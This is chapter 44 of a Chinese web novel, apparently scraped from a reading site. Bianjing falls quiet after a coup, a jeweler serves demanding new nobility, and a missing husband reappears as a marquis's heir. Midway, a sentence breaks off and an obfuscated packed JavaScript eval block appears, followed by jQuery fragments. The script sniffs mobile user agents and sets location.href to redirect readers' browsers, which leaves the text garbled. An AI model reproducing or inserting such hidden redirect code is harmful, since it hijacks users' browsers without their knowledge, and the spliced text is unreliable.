123读书网 > 都市小说 > 谋兄 > 44. 第 44 章
    接连几日,汴京城陷入了异样的沉寂。


    往昔喧嚷的御街,马行街,此刻行人稀疏,沿街叫卖的货郎和支着棚子的食摊都收得干干净净,取而代之的是比平日更多的禁军,在各条主街上往复巡行。


    各种小道消息在紧闭的门扉后流传。


    有说成王已然逼宫成功,只是尚未找到名正言顺昭告天下的由头,也有说成王事败,连同党羽已被打入开封府大牢。


    真相如何寻常百姓无从得知,只知在这政局翻覆的当口,谨言慎行是保命之道,唯恐一句无心之言便招致杀身之祸。


    戚风堂早早便将名下几间铺子和工坊暂时歇业,戚宅的大门也终日紧闭,只留角门供采买出入,严严实实地避着风头。


    难得外面风声鹤唳,家中人却因此聚得格外齐整。


    众人围坐在暖阁里,戚风堂有些不习惯这突然而至的清闲,正懒懒地倚在炕桌边喝茶,心里琢磨着该弄些什么好玩的新花样。


    宋明音看着长身玉立的儿子,忽地心血来潮,拿起一卷裁衣软尺,兴致勃勃道:“大郎,娘给你做身新衣裳,来量量尺寸!”


    戚风堂差点呛着,放下白瓷茶盏,无奈道:“娘,您这‘慈母手中线’来得是不是晚了点?幺儿还在长个儿呢,您给她做吧。”他印象里,宋明音的手艺似乎只停留在给他做红肚兜时。


    尺子依旧往他身上比划,宋明音试图量肩宽,软尺歪歪扭扭,戚风堂还有些不自然的闪躲,饶是量出来怕也是不合身的。


    藏春忍不住莞尔,轻描淡写地报出一串数字:“哥哥肩宽一尺三寸半,胸围三尺二寸,腰围将将二尺半。”


    宋明音动作一僵,脸上顿时有些挂不住,看看一脸了然的藏春,又看看憋着笑的儿子,悻悻然收起尺子:“罢了罢了,你们兄妹倒是亲近,不做了不做了。”她这迟来的母爱被打击得颇有些下不来台,引得暖阁里其他人也忍俊不禁。


    长幸在屋子里面待不住,不过一会就嫌闷,藏春只得将她抱出去,站在外面的门廊处看看缸里的锦鲤,长幸和小鱼儿不亦乐乎地玩着捉迷藏。


    望着院墙外灰蒙蒙的天,藏春却有些走神,盼着这场乱局快些结束,她不由得又想到那个跟在成王身边的夏将军。


    她也曾几次三番去仁济堂和李家,竟都忘了问夏靖一句关于父亲的事。


    怀里的小长幸不安分的扭动,不满藏春的忽略,小手一伸,精准地抓住了她鬓边的簪子,用力一扯,藏春吃痛低呼,原本岁月静好的画面瞬间变得“惨烈”。


    不远处的戚风堂眼疾手快,几步过来将长幸抱开,啧了一声,轻轻拍了一下她作乱的小手,“又不听话了,二姨的头发也是能扯着玩的。”


    藏春揉着发麻的头皮,在长幸小鼻子上轻轻刮了一下,长幸非但不哭,反而咯咯笑起来。戚风堂抱着孩子,看着藏春慢悠悠的整理发髻,心中忽然涌起一丝感慨:“总觉得看着二妹妹带长幸,有点不可思议,印象里你好像还是那个需要别人哄着的小丫头。”


    藏春斜倚着栏杆,一缕轻丝还是没有捋顺,侧目看他:“怎么了,哥哥是觉得我长大了不好吗?”


    “倒也不是不好,”戚风堂不再往下说了,他只是觉得小时候更自在,那时他更能肆无忌惮的对她好,不是像现在这样,心里头总是有些说不清的顾忌。


    戒严的时日里,戚风堂和藏春常常一同哄着长幸。


    有时候孩子被杜姨娘接过去照看,戚风堂便在翠园的书案前画首饰图样,藏春搬着绣墩,在一旁专注地看。


    偶尔,戚风堂也会握着她的手,教她如何运笔勾勒出流畅的线条。


    他似乎彻底歇下了娶妻的心思,藏春也默契地没提沈开慧的名字,也不再追问他……是否对沈小姐动了真心。


    这种寂静肃杀的氛围没有持续太久,没过几日,街市恢复了往昔的繁华喧闹,对于升斗小民而言,日子照旧是柴米油盐酱醋茶。


    然而朝廷的天,确实已经变了。


    成王顺利登基,昭告天下的理由是当今皇帝实为废帝,血统不纯,那位废帝据说在拥护者掩护下潜逃,至今下落不明。


    乱局一朝结束,戚风堂却更加忙碌了起来。


    一大批追随新帝打天下的功臣骤然擢升,这些人出身草莽行伍者居多,一朝封侯拜将身份陡贵,自然更急于摆脱粗豪之气,其家眷女眷更是迫切想要融入汴京根深蒂固的贵族社交圈,彰显身份地位。


    戚宝斋作为汴京珠宝行当的翘楚,以精工巧作,设计雅致闻名,尤得南安王妃、宰相夫人等顶级贵妇青睐,其东家戚公子的手艺更是千金难求。


    在急于寻求身份认可的新贵眼中,戚宝斋的物件,无疑是最快最体面彰显自身新贵地位的敲门砖。


    一时间,戚宝斋的门槛几乎被新贵家眷们踏破,面对这些财大气粗却审美堪忧,要求刁钻的“暴发户”夫人,戚风堂感到了前所未有的疲惫和无奈。


    一位刚封了威远将军的夫人,指着图册颐指气使:“这颗簪子,给我缀上十二颗这么大的南珠。”她比划的大小令人咋舌。


    铺里的伙计低着头,一声都不敢吭。


    戚风堂语气尽量委婉:“夫人,如此多的珍珠堆砌,恐失了簪子的风骨雅韵,您看不如?”


    “哼”,那夫人不屑地斜睨他,“都说戚公子手艺绝佳,我看也不过就小白脸一个,连这点要求都办不到?”


    对方是新帝面前炙手可热的人物,小白脸戚风堂实在得罪不起,只能挤出笑容,温声应承下这个单子:“夫人放心,十二颗就十二颗,定让您满意。”


    前脚刚送走这位,后脚又来了御林军统领新纳的爱妾,不爱玉翠,独爱金灿灿的物件,既要求戚风堂亲自动手,还必须在册封和宁郡主的三日内交货。


    这般场景几乎日日上演。戚风堂在铺子、工坊、家宅三处连轴转,几乎没有片刻停歇。


    面对那十二颗大珍珠的难题,他苦思冥想:硬生生嵌上去,不仅累赘难看,更会砸了戚宝斋的招牌,仔细琢磨了几日,他灵光一现,草草的画出一张图。


    用数根极细的金累丝,编织出一朵层次丰富,灵动华美的牡丹花,再将那十二颗珍珠错落有致地藏在花心与花瓣之间,这样既刻意光华内敛又能贵气逼人。


    工坊里几日功夫,戚风堂看着成品和自己心中的样子一般无二,略微揉了一下手指,其间编织金线所勒出的红痕,都觉不出来疼了。


    那位将军夫人戴上它在宴席间应酬,引来无数艳羡目光。戚风堂的名字在新贵圈子里一炮打响,订单更是络绎不绝。


    戚风堂将一些新贵夫人馈赠的上好香膏带回家,统统送给了藏春,她留了自己喜欢的栀子香和戚风堂勉强算喜欢的松木香,其余的都打着戚风堂的名义给了宋明音和杜姨娘。


    “大郎果然还是惦记我。”宋明音挖了一点,当即点点涂在脖颈,还在戚焕跟前炫耀一番。


    这东西是勋贵人家赏的,算是稀罕物,藏春想着许久未见李


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951690|188998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茯苓,便将最后的两盒,打算送去李家,给李茯苓和李沉香。


    踏入李家的小院,气氛却肉眼可见的不对,李沉香病恹恹地躺在竹榻上,面色苍白呼吸沉重,似乎连咳嗽都不大有力气。


    “茯苓姐,这是怎么了,出什么事了?”


    李茯苓看了一眼竹榻上的姐姐,将藏春拉到院中,满目愁容:“你还不知道呢,家里出了大事,我姐夫失踪了。”


    “失踪了?”藏春愕然,“好端端一个人,怎么会失踪?何时的事?报官了吗?”


    “报了”,李茯苓声音带着些怨愤,“可开封府那边根本没什么回应,我也说不清具体哪一天,就是姐夫去铺子后再没回来,四处都寻遍了,杳无音信……”她看了一眼里间,声音更低:“若不是深知姐夫的为人,都要疑心他是扔下姐姐自己走了。”


    藏春宽慰了李沉香几句,忧心忡忡地离开李家。


    时隔多年,她对如今的夏靖也不甚了解,总不能真是丢下病弱的发妻跑了罢?她又不好轻易替他开脱,瞧着他对李沉香冷冷淡淡的,万一呢?


    思来想去也没个头绪,藏春有些烦躁地撸着手上的琉璃串。


    走到街口,见一群人围着一张刚贴出的官府榜文,议论纷纷,她也好奇地凑近了些。


    “听说了吗?跟着陛下打江山的那位夏将军,如今封了留侯,那叫一个风光无两,这是在找他失散多年的小女儿呢。”有人指着榜文上的画像说道。


    “啧啧,真是草窝里飞出金凤凰了,一人得道鸡犬升天啊!”


    藏春的目光落在榜文上那张画像上,上面画的分明是个五岁的小女娃,圆圆的脸,葡萄一般大的眼睛,眼底有一颗小痣。


    她仔细看那眉眼轮廓,有种诡异的熟悉,不禁下抬手摸了摸自己脸颊,然后有些惊惶地挤出人群。


    隔着一条街道,她似乎又听见了李沉香的微弱的声音。


    原来她从李家走了以后,病中的李沉香终究按捺不住,不顾李茯苓劝阻,挣扎着病体起身,无论如何也要上街寻夏靖。


    刚走到御街她便耗尽了力气,呼吸也变得急促微弱,她虚弱地靠在妹妹怀里,声音带着哭腔:“我不信…靖哥不会这样抛下我…他就是…就是不要我了,也会跟我说明白的……”


    前方街道忽然一阵骚动,伴随着鸣锣开道之声,一队侯府亲兵驱赶着人群:“留侯爷仪仗,闲人避让。”


    方才唧唧呱呱说话的人流瞬间被冲散,藏春也被推搡着差点跌倒,她想回头去帮李茯苓姐妹,却被混乱的人流裹挟着难以靠近。


    一乘朱轮华盖,装饰极其华丽的轿子缓缓行来,轿帘被风吹起一角,露出轿内人有些冷峻的侧脸。


    藏春看见了,她张张口却哑了言。


    “靖哥!”


    李沉香也看到了,对着那个轿子喊出声。


    “姐,那是留侯爷家的世子,哪来的姐夫啊?”李茯苓拦着她,觉得她是思念过度出现幻觉了。


    李沉香颤抖着身子,拼命地摇头,她敢说自己是这世上最熟悉夏靖的人,即便是所有人都认错了,她依然相信自己的眼睛。


    轿子即将彻底过去,李沉香推开李茯苓,用尽全身力气哭喊出来,她那微弱的声音却淹没在了嘈杂的人群中,消失无息。


    她被慌乱的人群推搡着,本就虚弱的身子再也支撑不住,软软地倒了下去,只能眼睁睁看着那乘象征着无上荣华的侯府轿辇,毫不留恋地消失在街道尽头,再也追赶不上。